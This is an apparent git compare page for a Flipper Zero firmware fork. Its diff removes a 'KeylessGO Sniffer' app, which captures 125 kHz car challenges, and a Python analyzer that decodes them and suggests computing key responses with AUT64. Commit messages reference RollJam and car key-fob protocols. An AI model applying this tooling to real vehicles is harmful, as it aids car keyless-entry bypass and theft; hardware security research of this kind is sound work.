Compare commits

...

12 Commits

Author SHA1 Message Date
d4rks1d33
a5cf675561 Added Term of Services & Easter egg
All checks were successful
Build Dev Firmware / build (push) Successful in 6m17s
2026-03-21 23:37:21 -03:00
D4rk$1d3
c6bec5ef4f Merge pull request #3 from LeeroysHub/main
All checks were successful
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-21 23:02:27 -03:00
Leeroy
883d387246 Change BS to Checksum in Ford_V0 2026-03-22 08:49:31 +11:00
Leeroy
951f35c356 Remove unneeded BSMagic from Ford V0, we have proper BS calc now. 2026-03-22 07:29:32 +11:00
d4rks1d33
4e05a0e631 Fixed Ford V0, added Starline (tested) & added ScherKhan (untested)
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-21 15:24:53 -03:00
d4rks1d33
17d497e21e Fix RollJam app
All checks were successful
Build Dev Firmware / build (push) Successful in 6m26s
2026-03-20 22:56:59 -03:00
47LeCoste
d5b46ffefb Update .gitignore
All checks were successful
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-20 15:53:17 +00:00
D4rk$1d3
9d2298114c Update application.fam
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-18 19:18:49 -03:00
D4rk$1d3
b93a970647 Delete applications/main/KeylessGoSniffer directory 2026-03-18 19:17:43 -03:00
47LeCoste
c6265ea29b Delete CHANGELOG.md
All checks were successful
Build Dev Firmware / build (push) Successful in 10m8s
2026-03-18 19:41:47 +00:00
47LeCoste
8e0a81b89d Update fiat_marelli.h 2026-03-18 19:40:46 +00:00
grugnoymeme
6f39fd4803 removed problematics and fixed f3
All checks were successful
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-18 19:45:16 +01:00
36 changed files with 2426 additions and 1784 deletions

View File

@@ -1,66 +0,0 @@
## Main changes
- Current API: 87.6
* SubGHz: Signal Settings Improvements (PR #968 | by @Dmitry422)
* Apps: Build tag (**17feb2026**) - **Check out more Apps updates and fixes by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev)
## Other changes
* MFKey: Update to v4.1 (by @noproto & @dchristle)
<br><br>
#### Known NFC post-refactor regressions list:
- Mifare Mini clones reading is broken (original mini working fine) (OFW)
- While reading some EMV capable cards via NFC->Read flipper may crash due to Desfire poller issue, read those cards via Extra actions->Read specific card type->EMV
----
[-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
[-> Unleashed FW Web Installer](https://web.unleashedflip.com)
## Please support development of the project
| Service | Remark | QR Code | Link/Wallet |
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------|
| <img src="https://cdn.simpleicons.org/patreon/dark/white" alt="Patreon" width="14"/> **Patreon** | | <div align="center"><a href="https://github.com/user-attachments/assets/a88a90a5-28c3-40b4-864a-0c0b79494a42"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [patreon.com/mmxdev](https://patreon.com/mmxdev) |
| <img src="https://cdn.simpleicons.org/boosty" alt="Boosty" width="14"/> **Boosty** | patreon alternative | <div align="center"><a href="https://github.com/user-attachments/assets/893c0760-f738-42c1-acaa-916019a7bdf8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [boosty.to/mmxdev](https://boosty.to/mmxdev) |
| <img src="https://gist.githubusercontent.com/m-xim/255a3ef36c886dec144a58864608084c/raw/71da807b4abbd1582e511c9ea30fad27f78d642a/cloudtips_icon.svg" alt="Cloudtips" width="14"/> CloudTips | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/5de31d6a-ef24-4d30-bd8e-c06af815332a"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [pay.cloudtips.ru/p/7b3e9d65](https://pay.cloudtips.ru/p/7b3e9d65) |
| <img src="https://raw.githubusercontent.com/gist/PonomareVlad/55c8708f11702b4df629ae61129a9895/raw/1657350724dab66f2ad68ea034c480a2df2a1dfd/YooMoney.svg" alt="YooMoney" width="14"/> YooMoney | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/33454f79-074b-4349-b453-f94fdadc3c68"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [yoomoney.ru/fundraise/XA49mgQLPA0.221209](https://yoomoney.ru/fundraise/XA49mgQLPA0.221209) |
| <img src="https://cdn.simpleicons.org/tether" alt="USDT" width="14"/> USDT | TRC20 | <div align="center"><a href="https://github.com/user-attachments/assets/0500498d-18ed-412d-a1a4-8a66d0b6f057"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` |
| <img src="https://cdn.simpleicons.org/ethereum" alt="ETH" width="14"/> ETH | BSC/ERC20-Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/0f323e98-c524-4f41-abb2-f4f1cec83ab6"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` |
| <img src="https://cdn.simpleicons.org/bitcoin" alt="BTC" width="14"/> BTC | | <div align="center"><a href="https://github.com/user-attachments/assets/5a904d45-947e-4b92-9f0f-7fbaaa7b37f8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` |
| <img src="https://cdn.simpleicons.org/solana" alt="SOL" width="13"/> SOL | Solana/Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/ab33c5e0-dd59-497b-9c91-ceb89c36b34d"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `DSgwouAEgu8iP5yr7EHHDqMNYWZxAqXWsTEeqCAXGLj8` |
| <img src="https://cdn.simpleicons.org/dogecoin" alt="DOGE" width="14"/> DOGE | | <div align="center"><a href="https://github.com/user-attachments/assets/2937edd0-5c85-4465-a444-14d4edb481c0"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` |
| <img src="https://cdn.simpleicons.org/litecoin" alt="LTC" width="14"/> LTC | | <div align="center"><a href="https://github.com/user-attachments/assets/441985fe-f028-4400-83c1-c215760c1e74"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` |
| <img src="https://bitcoincash.org/img/green/bitcoin-cash-circle.svg" alt="BCH" width="14"/> BCH | | <div align="center"><a href="https://github.com/user-attachments/assets/7f365976-19a3-4777-b17e-4bfba5f69eff"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` |
| <img src="https://cdn.simpleicons.org/monero" alt="XMR" width="14"/> XMR | Monero | <div align="center"><a href="https://github.com/user-attachments/assets/96186c06-61e7-4b4d-b716-6eaf1779bfd8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` |
| <img src="https://cdn.simpleicons.org/ton" alt="TON" width="14"/> TON | | <div align="center"><a href="https://github.com/user-attachments/assets/92a57e57-7462-42b7-a342-6f22c6e600c1"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `UQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmsxa` |
#### Thanks to our sponsors who supported project in the past and special thanks to sponsors who supports us on regular basis:
@mishamyte, ClaraCrazy, Pathfinder [Count Zero cDc], callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ...
and all other great people who supported our project and me (xMasterX), thanks to you all!
## **Recommended update option - Web Updater**
### What `e`, ` `, `c` means? What I need to download if I don't want to use Web updater?
What build I should download and what this name means - `flipper-z-f7-update-(version)(e / c).tgz` ? <br>
`flipper-z` = for Flipper Zero device<br>
`f7` = Hardware version - same for all flipper zero devices<br>
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself<br>
`(version)` = Firmware version<br>
| Designation | [Base Apps](https://github.com/xMasterX/all-the-plugins#default-pack) | [Extra Apps](https://github.com/xMasterX/all-the-plugins#extra-pack) |
|-----|:---:|:---:|
| ` ` | ✅ | |
| `c` | | |
| `e` | ✅ | ✅ |
**To enable RGB Backlight support go into LCD & Notifications settings**
RGB backlight [hardware mod](https://github.com/quen0n/flipperzero-firmware-rgb#readme), works only on modded flippers! do not enable on non modded device!
Firmware Self-update package (update from microSD) - `flipper-z-f7-update-(version).tgz` for mobile app / qFlipper / web<br>
Archive of `scripts` folder (contains scripts for FW/plugins development) - `flipper-z-any-scripts-(version).tgz`<br>
SDK files for plugins development and uFBT - `flipper-z-f7-sdk-(version).zip`

View File

@@ -1,11 +0,0 @@
App(
appid="lf_sniffer",
name="KeylessGO Sniffer",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="lf_sniffer_app",
requires=["gui", "notification", "storage"],
stack_size=4 * 1024,
fap_category="GPIO",
fap_version=(1, 0),
fap_description="LF 125kHz challenge sniffer for KeylessGO analysis",
)

View File

@@ -1,506 +0,0 @@
#!/usr/bin/env python3
"""
LF Analyzer -- Decodes captures from the LF Sniffer FAP
=========================================================
Analyzes edge timings captured by the Flipper Zero FAP and determines:
- Modulation type (ASK/FSK/PSK)
- Encoding (Manchester, Biphase, NRZ, PWM)
- Bit period and carrier frequency
- Decoded bit stream
- Likely protocol (Hitag2, Hitag S, EM4100, etc.)
- KeylessGO challenge candidate if applicable
Usage:
python3 lf_analyze.py capture_0000.csv
python3 lf_analyze.py capture_0000.csv --verbose
python3 lf_analyze.py capture_0000.csv --protocol hitag2
"""
import argparse
import csv
import sys
import math
from collections import Counter
from pathlib import Path
# -- CSV loader ----------------------------------------------------------------
def load_csv(path: str) -> tuple[list, dict]:
edges = []
meta = {}
with open(path, 'r') as f:
for line in f:
line = line.strip()
if line.startswith('#'):
# Parse key:value pairs from metadata comment lines
if 'edges:' in line:
for token in line.split():
if ':' in token:
k, v = token.split(':', 1)
try:
meta[k.lstrip('#')] = int(v)
except ValueError:
pass
continue
if line.startswith('index'):
continue # skip column header
parts = line.split(',')
if len(parts) >= 3:
try:
edges.append({
'idx': int(parts[0]),
'dur_us': int(parts[1]),
'level': int(parts[2]),
'note': parts[3].strip() if len(parts) > 3 else ''
})
except ValueError:
pass
print(f"[*] Loaded {len(edges)} edges")
if meta:
print(f" Metadata: {meta}")
return edges, meta
# -- Carrier frequency detection ----------------------------------------------
def analyze_carrier(edges: list, verbose: bool = False) -> dict:
"""
Detects the LF carrier by measuring the shortest pulses in the capture.
These correspond to half-periods of the unmodulated carrier.
"""
durations = [e['dur_us'] for e in edges if 1 < e['dur_us'] < 50]
if not durations:
return {'carrier_hz': 0, 'half_period_us': 0}
counter = Counter(durations)
most_common = counter.most_common(20)
if verbose:
print("\n[*] Most frequent edge durations (us):")
for dur, cnt in most_common[:10]:
print(f" {dur:4d} us x{cnt:5d}")
# Carrier half-period = most frequent pulse in the 1-20 us range
short = [(d, c) for d, c in most_common if 1 < d < 20]
if not short:
short = [(d, c) for d, c in most_common if d < 50]
if not short:
return {'carrier_hz': 0, 'half_period_us': 0}
half_period = short[0][0]
carrier_hz = int(1_000_000 / (2 * half_period)) if half_period > 0 else 0
print(f"\n[*] Detected carrier:")
print(f" Half-period : {half_period} us")
print(f" Frequency : {carrier_hz:,} Hz (~{carrier_hz/1000:.1f} kHz)")
if 100_000 < carrier_hz < 150_000:
print(f" [+] Matches 125 kHz LF band (KeylessGO / RFID)")
elif 110_000 < carrier_hz < 140_000:
print(f" [~] Close to 125 kHz")
return {
'carrier_hz': carrier_hz,
'half_period_us': half_period,
'period_us': half_period * 2,
}
# -- Packet segmentation ------------------------------------------------------
def find_packets(edges: list, gap_threshold_us: int = 5000) -> list:
"""Splits the edge list into packets separated by gaps."""
packets = []
start = 0
for i, e in enumerate(edges):
if e['dur_us'] > gap_threshold_us:
if i - start > 8:
packets.append(edges[start:i])
start = i + 1
if len(edges) - start > 8:
packets.append(edges[start:])
print(f"\n[*] Detected packets: {len(packets)}")
for i, pkt in enumerate(packets):
total = sum(e['dur_us'] for e in pkt)
print(f" PKT {i}: {len(pkt)} edges, {total} us ({total/1000:.1f} ms)")
return packets
# -- Bit period detection -----------------------------------------------------
def detect_bit_period(packet: list, carrier: dict, verbose: bool = False) -> dict:
"""
Estimates the bit period from modulated pulse widths.
KeylessGO uses Manchester at ~4 kbps over 125 kHz, so bit_period ~250 us.
EM4100 / Hitag use 125 kHz / 32 = ~256 us per bit.
"""
min_dur = carrier.get('half_period_us', 4)
durations = [e['dur_us'] for e in packet if e['dur_us'] > min_dur * 2]
if not durations:
return {'bit_period_us': 0, 'baud_rate': 0}
# Histogram with 10 us resolution
hist = Counter(round(d / 10) * 10 for d in durations)
peaks = sorted(hist.items(), key=lambda x: x[1], reverse=True)
if verbose:
print("\n Modulated pulse durations (top 15):")
for dur, cnt in peaks[:15]:
print(f" {dur:5d} us x{cnt:4d}")
if not peaks:
return {'bit_period_us': 0, 'baud_rate': 0}
# Bit period = smallest frequently-occurring modulated pulse
candidates = [d for d, c in peaks if c >= 3]
if not candidates:
candidates = [peaks[0][0]]
half_period = min(candidates)
# Check if this is a half-period (consecutive same-width pulses that
# alternate level = Manchester half-periods). If so, double it.
# Two equal half-periods make one Manchester bit period.
same_width_pairs = sum(
1 for i in range(len(packet)-1)
if abs(packet[i]['dur_us'] - half_period) < half_period*0.3
and abs(packet[i+1]['dur_us'] - half_period) < half_period*0.3
)
total_half_pulses = sum(
1 for e in packet
if abs(e['dur_us'] - half_period) < half_period*0.3
)
# If >80% of pulses are this width, they are half-periods
if total_half_pulses > len(packet) * 0.7:
bit_period = half_period * 2
is_half = True
else:
bit_period = half_period
is_half = False
baud_rate = int(1_000_000 / bit_period) if bit_period > 0 else 0
print(f"\n[*] Estimated bit period: {bit_period} us ({baud_rate} baud)")
if is_half:
print(f" (half-period detected: {half_period} us x2)")
if 3800 < baud_rate < 4200:
print(" -> Likely: Manchester 4 kbps (Hitag2 / Hitag S / EM4100 / Keyless)")
elif 7500 < baud_rate < 8500:
print(" -> Likely: Manchester 8 kbps")
elif 1900 < baud_rate < 2100:
print(" -> Likely: 2 kbps biphase (EM4100)")
return {
'bit_period_us': bit_period,
'baud_rate': baud_rate,
'half_bit_us': bit_period // 2,
}
# -- Manchester decoder -------------------------------------------------------
def decode_manchester(packet: list, bit_period_us: int, verbose: bool = False) -> list:
"""
Decodes Manchester-encoded bit stream from edge timings.
Both half-period and full-period pulses are handled.
Returns a list of integers (0 or 1).
"""
if bit_period_us == 0:
return []
half = bit_period_us // 2
tolerance = half // 2 # +/- 50% of the half-period
bits = []
i = 0
while i < len(packet):
dur = packet[i]['dur_us']
if abs(dur - half) < tolerance:
# Half-period pulse -- needs the next one to complete a bit
if i + 1 < len(packet):
dur2 = packet[i + 1]['dur_us']
if abs(dur2 - half) < tolerance:
level = packet[i]['level']
bits.append(1 if level else 0)
i += 2
continue
i += 1
elif abs(dur - bit_period_us) < tolerance:
# Full-period pulse -- encodes one bit by itself
level = packet[i]['level']
bits.append(1 if level else 0)
i += 1
else:
if verbose:
print(f" [!] Unexpected duration at edge {i}: {dur} us")
i += 1
return bits
# -- Bit / byte helpers -------------------------------------------------------
def bits_to_bytes(bits: list) -> bytes:
result = bytearray()
for i in range(0, len(bits) - len(bits) % 8, 8):
byte = 0
for j in range(8):
byte = (byte << 1) | bits[i + j]
result.append(byte)
return bytes(result)
def print_bits(bits: list, label: str = "Bits"):
print(f"\n[*] {label} ({len(bits)} bits):")
for i in range(0, len(bits), 64):
chunk = bits[i:i + 64]
groups = [chunk[j:j + 8] for j in range(0, len(chunk), 8)]
line = ' '.join(''.join(str(b) for b in g) for g in groups)
print(f" {i//8:4d}: {line}")
if len(bits) >= 8:
data = bits_to_bytes(bits)
hex_str = ' '.join(f'{b:02X}' for b in data)
print(f"\n HEX: {hex_str}")
# -- Protocol identification --------------------------------------------------
def identify_protocol(bits: list, baud_rate: int, carrier_hz: int) -> str:
n = len(bits)
print(f"\n[*] Protocol identification:")
print(f" Bits: {n} | Baud: {baud_rate} | Carrier: {carrier_hz:,} Hz")
# EM4100: 64-bit frame, 9-bit preamble of all-ones, Manchester
if 50 < n < 80 and baud_rate > 3000:
for start in range(n - 9):
if all(bits[start + j] == 1 for j in range(9)):
print(f" -> EM4100 candidate (preamble at bit {start})")
data_bits = bits[start + 9:]
if len(data_bits) >= 55:
_decode_em4100(data_bits[:55])
break
# Hitag2: ~96-bit frame, Manchester 4 kbps
if 80 < n < 120 and 3500 < baud_rate < 4500:
print(f" -> Hitag2 candidate ({n} bits)")
_analyze_hitag2(bits)
# Hitag S: variable length, Manchester 4 kbps
if n > 120 and 3500 < baud_rate < 4500:
print(f" -> Hitag S candidate ({n} bits)")
# KeylessGO challenge: typically 32-64 data bits
if 20 < n < 80 and 3500 < baud_rate < 4500:
print(f" -> KeylessGO challenge candidate")
_analyze_keylessgo_challenge(bits)
return "unknown"
def _decode_em4100(bits: list):
if len(bits) < 55:
return
# EM4100 data layout: [version 8b][data 32b][col_parity 4b][stop 1b]
# Each row: 4 data bits + 1 parity bit
print("\n EM4100 decode:")
customer = (bits[0] << 7) | (bits[1] << 6) | (bits[2] << 5) | \
(bits[3] << 4) | (bits[5] << 3) | (bits[6] << 2) | \
(bits[7] << 1) | bits[8]
print(f" Customer code: 0x{customer:02X} ({customer})")
def _analyze_hitag2(bits: list):
if len(bits) < 32:
return
data = bits_to_bytes(bits[:32])
print(f"\n Hitag2 first 32 bits: {data.hex().upper()}")
print(f" As uint32 BE : 0x{int.from_bytes(data, 'big'):08X}")
def _analyze_keylessgo_challenge(bits: list):
"""
Looks for a KeylessGO challenge structure.
The car transmits: [sync/preamble] [32-bit challenge] [checksum]
"""
print(f"\n Keyless challenge analysis:")
# Alternating preamble (010101...) is typically used as sync
for start in range(min(len(bits) - 8, 20)):
window = bits[start:start + 8]
alternating = all(window[j] != window[j + 1] for j in range(7))
if alternating:
print(f" Alternating sync at bit {start}: {''.join(str(b) for b in window)}")
payload_start = start + 8
if len(bits) - payload_start >= 32:
challenge_bits = bits[payload_start:payload_start + 32]
challenge_bytes = bits_to_bytes(challenge_bits)
challenge_val = int.from_bytes(challenge_bytes, 'big')
print(f" Challenge candidate (32b): 0x{challenge_val:08X}")
print(f" As bytes : {challenge_bytes.hex().upper()}")
break
# Also print every 32-bit aligned window as a candidate
print(f"\n All 32-bit blocks in capture:")
for offset in range(0, min(len(bits) - 32, 48), 4):
chunk = bits[offset:offset + 32]
val = 0
for b in chunk:
val = (val << 1) | b
preview = ''.join(str(b) for b in chunk[:16])
print(f" offset {offset:3d}: 0x{val:08X} [{preview}...]")
# -- Full analysis entry point ------------------------------------------------
def analyze_capture(path: str, verbose: bool = False, protocol_hint: str = None):
print(f"\n{'='*60}")
print(f"LF Capture Analyzer -- {Path(path).name}")
print('='*60)
edges, meta = load_csv(path)
if not edges:
print("ERROR: No data found in file.")
return
# Step 1: detect carrier
carrier = analyze_carrier(edges, verbose)
# Step 2: segment packets
packets = find_packets(edges)
if not packets:
print("\n[!] No packets detected. Check:")
print(" - Car is emitting 125 kHz LF field")
print(" - Coil is connected correctly to PB2")
print(" - LM393 is powered from 3.3V")
return
# Step 3: analyze each packet
for i, pkt in enumerate(packets):
print(f"\n{''*50}")
print(f"PACKET {i} -- {len(pkt)} edges")
print(''*50)
bit_info = detect_bit_period(pkt, carrier, verbose)
bit_period = bit_info.get('bit_period_us', 0)
baud_rate = bit_info.get('baud_rate', 0)
if bit_period == 0:
print(" [!] Could not determine bit period")
continue
# Step 4: Manchester decode
bits = decode_manchester(pkt, bit_period, verbose)
if len(bits) < 8:
print(f" [!] Only {len(bits)} bits decoded -- likely noise or raw carrier")
if verbose:
raw = [e['dur_us'] for e in pkt[:40]]
print(f" RAW first durations: {raw}")
continue
print_bits(bits, f"Manchester decoded ({len(bits)} bits)")
# Step 5: identify protocol
identify_protocol(bits, baud_rate, carrier.get('carrier_hz', 0))
# Step 6: apply explicit decoder if requested
if protocol_hint == 'hitag2':
decode_hitag2_explicit(bits)
print(f"\n{'='*60}")
print("SUMMARY")
print('='*60)
print(f" Carrier : {carrier.get('carrier_hz', 0):,} Hz")
print(f" Packets : {len(packets)}")
print(f" Total edges: {len(edges)}")
print()
print("NEXT STEPS:")
print(" 1. If you see 'Keyless challenge candidate' -> use the 0xXXXXXXXX value")
print(" with your AUT64 implementation to compute the expected response.")
print(" 2. If Hitag2 is detected -> the protocol is HMAC-SHA1 / AUT64 depending")
print(" on the generation.")
print(" 3. If carrier is 125 kHz but no packets appear -> car is not emitting")
print(" a challenge (get closer, < 30 cm).")
def decode_hitag2_explicit(bits: list):
"""Explicit Hitag2 frame decode when --protocol hitag2 is specified."""
print("\n[*] Hitag2 frame decode:")
if len(bits) < 5:
return
print(f" Start of frame : {bits[0]}")
if len(bits) > 5:
cmd = 0
for b in bits[1:5]:
cmd = (cmd << 1) | b
cmds = {
0b0001: 'REQUEST',
0b0011: 'SELECT',
0b0101: 'READ',
0b1001: 'WRITE'
}
print(f" Command : 0b{cmd:04b} = {cmds.get(cmd, 'UNKNOWN')}")
if len(bits) >= 37:
uid_bits = bits[5:37]
uid_val = 0
for b in uid_bits:
uid_val = (uid_val << 1) | b
print(f" UID candidate : 0x{uid_val:08X}")
# -- CLI ----------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(
description='Analyze LF captures from the Flipper Zero LF Sniffer FAP',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 lf_analyze.py capture_0000.csv
python3 lf_analyze.py capture_0000.csv --verbose
python3 lf_analyze.py capture_0000.csv --protocol hitag2
"""
)
parser.add_argument('capture', help='CSV file from LF Sniffer FAP')
parser.add_argument('--verbose', '-v', action='store_true')
parser.add_argument('--protocol',
choices=['hitag2', 'em4100', 'Keyless', 'auto'],
default='auto',
help='Force a specific protocol decoder (default: auto)')
args = parser.parse_args()
if not Path(args.capture).exists():
print(f"ERROR: {args.capture} not found")
sys.exit(1)
analyze_capture(
args.capture,
verbose=args.verbose,
protocol_hint=args.protocol if args.protocol != 'auto' else None
)
if __name__ == '__main__':
main()

View File

@@ -1,446 +0,0 @@
#include "lf_sniffer.h"
#include <furi.h>
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <gui/gui.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define TAG "LFSniffer"
#define DWT_CYCCNT (*(volatile uint32_t*)0xE0001004)
#define DWT_CTRL (*(volatile uint32_t*)0xE0001000)
#define DEMCR (*(volatile uint32_t*)0xE000EDFC)
static inline void dwt_init(void) {
DEMCR |= (1U << 24);
DWT_CYCCNT = 0;
DWT_CTRL |= 1U;
}
static inline uint32_t dwt_us(void) {
return DWT_CYCCNT / 64;
}
static volatile LFEdge* g_edges = NULL;
static volatile uint32_t g_edge_count = 0;
static volatile uint32_t g_last_time = 0;
static volatile bool g_active = false;
static volatile bool g_overflow = false;
static void lf_gpio_isr(void* ctx) {
UNUSED(ctx);
if(!g_active) return;
uint32_t now = dwt_us();
uint32_t delta = now - g_last_time;
g_last_time = now;
if(g_edge_count >= LF_MAX_EDGES) {
g_overflow = true;
g_active = false;
return;
}
bool current_level = furi_hal_gpio_read(LF_INPUT_PIN);
g_edges[g_edge_count].duration_us = delta;
g_edges[g_edge_count].level = !current_level;
g_edge_count++;
}
static void draw_callback(Canvas* canvas, void* ctx) {
LFSnifferApp* app = ctx;
furi_mutex_acquire(app->mutex, FuriWaitForever);
canvas_clear(canvas);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 2, 12, "KeylessGO Sniffer");
canvas_set_font(canvas, FontSecondary);
switch(app->state) {
case LFStateIdle:
canvas_draw_str(canvas, 2, 26, "Pin: PB2 (header pin 6)");
canvas_draw_str(canvas, 2, 36, "OK = Start capture");
canvas_draw_str(canvas, 2, 46, "Approach car without key");
canvas_draw_str(canvas, 2, 58, "Back = Exit");
break;
case LFStateCapturing: {
char buf[32];
canvas_draw_str(canvas, 2, 26, "CAPTURING...");
snprintf(buf, sizeof(buf), "Edges: %lu", (unsigned long)app->edge_count);
canvas_draw_str(canvas, 2, 36, buf);
snprintf(buf, sizeof(buf), "Packets: %lu", (unsigned long)app->packet_count);
canvas_draw_str(canvas, 2, 46, buf);
canvas_draw_str(canvas, 2, 58, "OK/Back = Stop");
break;
}
case LFStateDone: {
char buf[48];
snprintf(buf, sizeof(buf), "Edges:%lu Pkts:%lu",
(unsigned long)app->edge_count,
(unsigned long)app->packet_count);
canvas_draw_str(canvas, 2, 26, buf);
snprintf(buf, sizeof(buf), "Min:%luus Max:%luus",
(unsigned long)app->min_pulse_us,
(unsigned long)app->max_pulse_us);
canvas_draw_str(canvas, 2, 36, buf);
canvas_draw_str(canvas, 2, 46, "OK = Save to SD");
canvas_draw_str(canvas, 2, 58, "Back = Discard");
break;
}
case LFStateSaving:
canvas_draw_str(canvas, 2, 26, "Saving...");
canvas_draw_str(canvas, 2, 36, app->filename);
break;
case LFStateSaved:
canvas_draw_str(canvas, 2, 26, "Saved OK:");
canvas_draw_str(canvas, 2, 36, app->filename);
canvas_draw_str(canvas, 2, 46, app->status_msg);
canvas_draw_str(canvas, 2, 58, "Back = New capture");
break;
case LFStateError:
canvas_draw_str(canvas, 2, 26, "ERROR:");
canvas_draw_str(canvas, 2, 36, app->status_msg);
canvas_draw_str(canvas, 2, 58, "Back = Retry");
break;
}
furi_mutex_release(app->mutex);
}
static void input_callback(InputEvent* event, void* ctx) {
LFSnifferApp* app = ctx;
furi_message_queue_put(app->queue, event, FuriWaitForever);
}
static void lf_analyze_packets(LFSnifferApp* app) {
app->packet_count = 0;
app->min_pulse_us = 0xFFFFFFFF;
app->max_pulse_us = 0;
app->carrier_pulses = 0;
app->data_pulses = 0;
if(app->edge_count < 4) return;
uint32_t pkt_start = 0;
bool in_packet = false;
for(uint32_t i = 1; i < app->edge_count; i++) {
uint32_t dur = app->edges[i].duration_us;
if(dur < app->min_pulse_us) app->min_pulse_us = dur;
if(dur > app->max_pulse_us) app->max_pulse_us = dur;
if(dur < 12) {
app->carrier_pulses++;
} else if(dur < 15) {
app->data_pulses++;
}
if(dur > LF_GAP_THRESHOLD_US) {
if(in_packet && i > pkt_start + 8) {
if(app->packet_count < LF_MAX_PACKETS) {
app->packets[app->packet_count].start_idx = pkt_start;
app->packets[app->packet_count].edge_count = i - pkt_start;
app->packets[app->packet_count].duration_us = 0;
for(uint32_t j = pkt_start; j < i; j++)
app->packets[app->packet_count].duration_us +=
app->edges[j].duration_us;
app->packet_count++;
}
}
in_packet = false;
pkt_start = i;
} else {
if(!in_packet) {
in_packet = true;
pkt_start = i;
}
}
}
if(in_packet && app->edge_count > pkt_start + 8) {
if(app->packet_count < LF_MAX_PACKETS) {
app->packets[app->packet_count].start_idx = pkt_start;
app->packets[app->packet_count].edge_count = app->edge_count - pkt_start;
app->packets[app->packet_count].duration_us = 0;
for(uint32_t j = pkt_start; j < app->edge_count; j++)
app->packets[app->packet_count].duration_us +=
app->edges[j].duration_us;
app->packet_count++;
}
}
}
static bool lf_save_csv(LFSnifferApp* app) {
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_common_mkdir(storage, "/ext/keyless_sniffer");
snprintf(app->filename, sizeof(app->filename),
"/ext/keyless_sniffer/capture_%04lu.csv",
(unsigned long)app->file_index);
File* file = storage_file_alloc(storage);
bool ok = false;
if(storage_file_open(file, app->filename, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
const char* header = "index,duration_us,level,note\n";
storage_file_write(file, header, strlen(header));
char meta[128];
snprintf(meta, sizeof(meta),
"# Keyless Sniffer capture -- edges:%lu packets:%lu\n",
(unsigned long)app->edge_count,
(unsigned long)app->packet_count);
storage_file_write(file, meta, strlen(meta));
snprintf(meta, sizeof(meta),
"# min_us:%lu max_us:%lu carrier:%lu data:%lu\n",
(unsigned long)app->min_pulse_us,
(unsigned long)app->max_pulse_us,
(unsigned long)app->carrier_pulses,
(unsigned long)app->data_pulses);
storage_file_write(file, meta, strlen(meta));
uint32_t pkt_idx = 0;
char line[64];
for(uint32_t i = 0; i < app->edge_count; i++) {
const char* note = "";
if(pkt_idx < app->packet_count &&
app->packets[pkt_idx].start_idx == i) {
note = "PKT_START";
pkt_idx++;
}
snprintf(line, sizeof(line),
"%lu,%lu,%d,%s\n",
(unsigned long)i,
(unsigned long)app->edges[i].duration_us,
app->edges[i].level ? 1 : 0,
note);
storage_file_write(file, line, strlen(line));
